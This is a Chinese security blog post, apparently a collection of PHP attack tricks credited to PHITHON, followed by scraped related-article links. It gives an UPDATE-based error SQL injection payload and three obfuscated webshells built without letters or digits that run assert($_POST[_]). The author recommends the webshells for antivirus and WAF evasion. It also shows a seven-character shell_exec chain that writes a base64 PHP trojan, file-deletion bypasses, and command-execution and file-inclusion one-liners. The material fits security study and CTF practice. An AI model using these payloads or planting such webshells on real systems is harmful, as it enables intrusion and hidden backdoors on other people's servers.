PHP一些不一样的思路
大多数来自p牛
SQL注入(left join)
源代码
<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');
$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
SET `username`='admin'
WHERE id=1";
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);
注入后语句
UPDATE `table` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=t.username
SET username='admin'
WHERE id=1;
注入思路
源代码使用
addslashes
过滤用户输入,因此单引号、双引号以及反斜杠都会被转义;其次整个SQL语句没有写在单行代码中,因此无法使用正常的单行注释进行注释,UPDATE操作不同于SELECT操作,SELECT操作更加自由,它能自由组合UNION操作、分号多语句执行,但是UPDATE操作可与LEFT JOIN进行联合查询;
从源代码中看出,存在SQL语句的报错回显
char
编码- 使用
left join
进行联合查询 - 使用报错注入
char
编码
不包含数字和字母的webshell
转载来源:PHITHON
感觉对免杀有帮助,过WAF的话,可以直接借助AntSword
源代码
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
?>
思路
通过将字符通过各种非字母数字的字符进行转换,然后构造出任意字符,最终利用PHP的动态函数执行的特性,凭借为一个函数名,并执行函数
PHP5和PHP7存在一定的差异,如:PHP5中assert
可以作为函数执行任意代码,$f='assert';$f(...);
,
而PHP7中assert
不是函数,而变成了语言结构,不能作为函数名执行代码,但可以利用其它函数同样getshell
,如:file_put_content
PS: file_put_contents(filename,content,8)以追加模式写入文件
方法一
使用两个非字母非数字字符进行异或操作生成一个指定的字符,以此类推,得到所有预计的字母数字等
<?php
$_='assert'; //$_='assert'
$__='_'.'POST'; //$__='_'.'POST'
$___=$$__; //$___=$_POST
$_($___[_]); //assert($_POST[_])
?>
将每个字母通过两个非字母非数字字符进行异或获取,然后进行拼接
方法二
使用UTF-8编码的某个汉字,并将其中某个字符取出来,如:'和'{2}取汉字“和”的第二个字符结果为"\x8c",其取反即为字母s
,通过这种方法可获取任意字母,其中2这个数字可以通过('>'>'<')+('>'>'<')
获取
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
?>
方法三
PHP中有这样几个特性:
强制将数组和字符串进行拼接,数组会被转换成字符串,结果为
Array
'a'++
得到b
2
等于('>'>'<')+('>'>'<')
<?php
$_=[]; //定义$_为数组格式
$_=@"$_"; //通过@关键字将数组强制转换成字符串,导致成为 $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>
php文件操作函数的特性
file_put_contents
的第一个参数为文件名,第二个参数为一个数组# for example
http://127.0.0.1/shell.php?param[0]=<¶m[1]=?php phpinfo();
一般情况下,
param
为单一字符串参数,而因为后端语言为PHP
,加之file_put_content
的特性,因此此处可采用上述数组参数的格式file_put_contents
、copy
、file_get_contents
等读写操作与unlink
、file_exists
等判断文件函数之间对文件路径的处理存在一定的差异,导致当前面的读写文件的函数与判断文件的函数一起使用时,造成删除绕过;读写文件函数会在写文件之前将文件路径转换成绝对路径再进行处理,而判断文件函数只会判断文件名是否存在,对于相对路径是不会处理的,从而达到绕过linux可通过../test.php、test.php/. 来绕过删除
windows可通过test.php:test tst.ph<绕过文件删除
Windows举例(windows不支持 \ / : * ? " < > | 所以会自动将后面的字符过滤掉)
http://127.0.0.1/l.php?user[name]=2.php:test&user[info]=2y 会生成2.php
http://127.0.0.1/l.php?user[name]=2.ph<&user[info]=2y 会写入内容
个人觉得删除临时文件时可能有一些用处,环境太复杂,很难有满足条件的实际场景
eval长度限制绕过
源代码
<?php
$param=$_REQUEST['param'];
if(strlen($param)<17&&strpos($param,'eval')===false&& strpos($param,'assert')==false){
eval($param);
}
?>
- 参数长度小于等于16
- 不能使用
assert
和eval
函数
突破七个字符限制的任意命令执行
源代码
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
思路
首先这段PHP代码逻辑表明:必然能执行任意代码,并且只会受到长度限制,因此采用终极手段:Linux下的重定向。由于长度有限制,所以采用点婉转的手段
# w在linux下用于查看用户当前登录状态
# > 在Linux中代表重定向
# 下面的命令意思是:将w生成的输出重定向到文件名为php,结果在当前目录下就会生成文件名为php的文件,考虑到有些关键字母可能会影响命令执行,如>,因此在写入木马字符串时,采用经过base64编码的木马字符串,相当于采用这种方法生成一个一句话变形木马
w > php
# 上述方法可以在当前目录生成我们想要生成的文件名的文件,然后我们需要将这些文件名进行拼接形成一个完整的木马字符串,最后写入文件
#这条命令能按照时间顺序对文件进行排序,并将所有文件名进行拼接写入文件0中
ls -t>0
# 最后执行shell脚本,生成php木马文件
sh 0
# 文件名拼接后完整字符串为:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d>c.php
方法一:命令执行
eval
危害:执行任意PHP代码
参数:字符串
注意:在PHP5.x中,如果在执行的代码中存在parse error
,不会影响后续代码的执行;但是在PHP7.x中,一旦执行的代码中存在一个parse error
,那么后续代码中的eval
函数就无法正常执行,并会抛出ParseError
异常
assert
危害:第一个参数assertion
被当做PHP代码执行
参数:必要参数assertion
作为字符串会被当做代码进行执行,可选参数description
当assertion
执行失败时,作为错误信息返回的一部分进行显示
preg_replace
危害:当该函数使用/e
修饰符时,preg_replace
会把replacement
参数当做PHP代码执行
参数:pattern
是搜索的模式,字符串或字符串数组;replacement
是要替换的字符串或字符串数组,subject
是进行搜索和替换的字符串或字符串数组;limit
是替换的次数,-1表示无限次;count
指定完成替换的次数
原理:使用\e
模式后,preg_replace
函数在替换完字符串之后,会使用eval
函数对结果进行执行以作评估,此处便达到了执行PHP代码的目的
注意:从PHP.5.5.0起,\e
模式会产生E_DEPRECATED
的错误;从PHP7.0.0起,\e
会产生E_WARNING
错误
create_function
危害:执行系统命令
使用方法:
第二个参数为回调函数,第一个参数作为回调函数的参数
$newFunc=create_function('$v','return system($v);');
$newFunc('whoami');
call_user_func
功能:命令执行
使用方法:第一个参数是作为回调函数,其他参数作为回调函数的参数
call_user_func(system,$_GET[cmd]);
call_user_func_array
功能:命令执行,与call_user_func_array
类似
使用方法:
第一个参数作为回调函数,参数数组作为回调函数的参数
call_user_func_array(file_put_contents,['filename','木马字符串'])
call_user_func_array(system,[$_GET['cmd']])
文件包含
文件包含也分两种:本地文件包含、远程文件包含,可以直接getshell,也能通过file等协议读取本地文件
include($_GET['file']);
?file=php://filter/convert.base64-encode/resource=index.php
解释:?file=php://协议/过滤器/文件
include
require
include_once
require_once
命令执行函数
exec
功能:执行一个外部程序
使用方法:echo exec($_GET[cmd]);
passthru
功能:执行外部程序并显示原始输出
使用方法:passthru($_GET[cmd]);
proc_open
功能:执行一个命令,并打开用来输入/输出的文件
使用方法:https://php.net/manual/zh/function.proc-open.php
shell_exec
功能:通过shell环境执行命令,并将完整的输出以字符串的方式返回
使用方法:echo shell_exec($_GET[cmd]);
system
功能:执行外部程序,并显示输出
使用方法:system($_GET[cmd]);
popen
通过popen()的参数传递一条命令,并对popen打开的文件进行执行
使用方法:https://php.net/manual/zh/function.popen.php
PHP一些不一样的思路的更多相关文章
- .net点选验证码实现思路分享
哈哈好久没冒泡了,最进看见点选验证码有点意思,所以想自己写一个. 先上效果图 如果你被这个效果吸引了就请继续看下去. 贴代码前先说点思路: 1.要有一个汉字库,并按字形分类.(我在数据库里是安部首分类 ...
- TYPESDK手游聚合SDK服务端设计思路与架构之一:应用场景分析
TYPESDK 服务端设计思路与架构之一:应用场景分析 作为一个渠道SDK统一接入框架,TYPESDK从一开始,所面对的需求场景就是多款游戏,通过一个统一的SDK服务端,能够同时接入几十个甚至几百个各 ...
- 整理下.net分布式系统架构的思路
最近看到有部分招聘信息,要求应聘者说一下分布式系统架构的思路.今天早晨正好有些时间,我也把我们实际在.net方面网站架构的演化路线整理一下,只是我自己的一些想法,欢迎大家批评指正. 首先说明的是.ne ...
- js数组去重几种思路
在一些后台语言中都内置了一些方法来处理数组或集合中重复的数据.但是js中并没有类似的方法,网上已经有一些方法,但是不够详细.部分代码来源于网络.个人总计如下:大致有4种思路 1)使用两次循环比较原始的 ...
- [Django]用户权限学习系列之设计自有权限管理系统设计思路
若在阅读本片文章遇到权限操作问题,请查看本系列的前两章! http://www.cnblogs.com/CQ-LQJ/p/5609690.html和http://www.cnblogs.com/CQ- ...
- 分享一个CQRS/ES架构中基于写文件的EventStore的设计思路
最近打算用C#实现一个基于文件的EventStore. 什么是EventStore 关于什么是EventStore,如果还不清楚的朋友可以去了解下CQRS/Event Sourcing这种架构,我博客 ...
- ENode框架单台机器在处理Command时的设计思路
设计目标 尽量快的处理命令和事件,保证吞吐量: 处理完一个命令后不需要等待命令产生的事件持久化完成就能处理下一个命令,从而保证领域内的业务逻辑处理不依赖于持久化IO,实现真正的in-memory: 保 ...
- WebGIS中快速整合管理多源矢量服务以及服务权限控制的一种设计思路
文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 在真实项目中,往往GIS服务数据源被其他多个信息中心或者第三方 ...
- 浅谈利用SQLite存储离散瓦片的思路和实现方法
文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 在多个项目中涉及到互联网地图的内网显示,通过自制工具完成了互联 ...
- Unity iOS混合开发界面切换思路
Unity iOS混合开发界面切换思路 最近有很多博友QQ 私信 或则 留言联系我,请教iOS和Unity界面之前相互切换的问题,源代码就不私下发你们了,界面跳转功能的代码我直接贴到下面好了,顺带说i ...
随机推荐
- lerna管理前端模块实践
最近在工作中使用了 lerna 进行前端包的管理,效率提升了很多.所以打算总结一下最近几个月使用 lerna 的一些心得.有那些不足的地方,请包涵. 该篇文章主要包括在使用 lerna 的一些注意事项 ...
- vue学习第一部
目录 基础操作 vue基础使用 步骤 vue的框架思想(mvvm) 显示数据 vue 常用指令 属性操作 事件绑定 操作样式 条件渲染指令 列表渲染指令 vue对象提供的属性功能 过滤器 计算和侦听属 ...
- 非常全面的讲解SpringCloud中Zuul网关原理及其配置,看它就够了!
Zuul是spring cloud中的微服务网关.网关:是一个网络整体系统中的前置门户入口.请求首先通过网关,进行路径的路由,定位到具体的服务节点上. Zuul是一个微服务网关,首先是一个微服务.也是 ...
- 如何用vue实现一个矩形标记区域 rectangle marker
代码地址:vue-rectangle-marker 一.前言 一些cms系统经常会用到区域标记功能,所以写了个用vue实现的矩形标记区域,包含拖拽.放大缩小.重置功能. 二.实现结果 初始 标记 三. ...
- B. Once Again... 解析(思維、DP、LIS、矩陣冪)
Codeforce 582 B. Once Again... 解析(思維.DP.LIS.矩陣冪) 今天我們來看看CF582B 題目連結 題目 給你一個長度為\(n\)的數列\(a\),求\(a\)循環 ...
- D. Design Tutorial: Inverse the Problem 解析含快速解法(MST、LCA、思維)
Codeforce 472D Design Tutorial: Inverse the Problem 解析含快速解法(MST.LCA.思維) 今天我們來看看CF472D 題目連結 題目 給你一個\( ...
- 技术选型:为什么批处理我们却选择了Flink
最近接手了一个改造多平台日志服务的需求,经过梳理,我认为之前服务在设计上存在缺陷.经过一段时间的技术方案调研,最终我们决定选择使用 Flink 重构该服务. 目前重构后的服务已成功经受了国庆节流量洪峰 ...
- Azure Cosmos DB (四) 使用EF的SQL API 异地冗余
一,引言 上一篇文章中,我们介绍到使用了EF Core 与Cosmos DB SQL API 进行结合开发.同时,大家在开发过程中一定要记得EF Core 不支持Cosmos DB 的迁移.今天我们启 ...
- STM32入门系列-STM32时钟系统,时钟初始化配置函数
在前面推文的介绍中,我们知道STM32系统复位后首先进入SystemInit函数进行时钟的设置,然后进入主函数main.那么我们就来看下SystemInit()函数到底做了哪些操作,首先打开我们前面使 ...
- 4G DTU为什么要具有透传的功能
4G DTU为什么要透传 透传的目的就是为了在数据传输的过程中不对数据做任何出来,实现发送方和接收方的数据完全一样,长度和内容完全没有变化.它主要是使用在智能设备之间的远程串口数据传输,是一种和传输方 ...